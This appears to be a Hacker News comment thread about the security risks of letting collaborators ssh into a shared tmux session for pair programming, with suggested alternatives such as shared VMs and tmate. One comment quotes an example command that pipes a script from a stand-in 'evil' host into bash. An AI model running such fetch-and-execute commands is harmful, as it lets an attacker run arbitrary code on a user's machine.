Hacker News Reader

Comment by wging | Hacker News Reader

Letting people onto my machine makes my skin crawl. I'd rather use something like Syme: https://syme.herokuapp.com

Seajure, the Seattle-area Clojure user group, uses Syme, and it seems pretty effective.

If you're concerned about security, you might be interested in https://coderpad.io, which lets people collaborate and run code in the browser. We support most programming languages.

This definitely opens up risks to anyone you pair with. However, the thought is that by restricting access to a specific tmux session and only to those you have explicitly added as "authorized", you can limit those risks by a considerable amount. This works well for us because we only use this for developers on our teams. I would advise not adding anyone's public key to your authorized_keys file that you don't fully trust. Thanks for feedback!

Agreed, it'd be pretty easy to run a quick "curl my.evil/script |bash" when the sharer wasn't paying attention.

This is definitely one of the cases where you completely trust the other person. Like a work colleague, or very good friend.

What would the problem be if you are using a VM for the project and they ssh into the VM?

tmate.io with your own vps for hosting the tmate server component sounds like a decent alternative. Either run the tmate.io vm on your workstation (iffy) or on your (presumably already multi-user) server.

Then use a shared neutral host or VM that you both ssh into.

Reply on news.ycombinator.com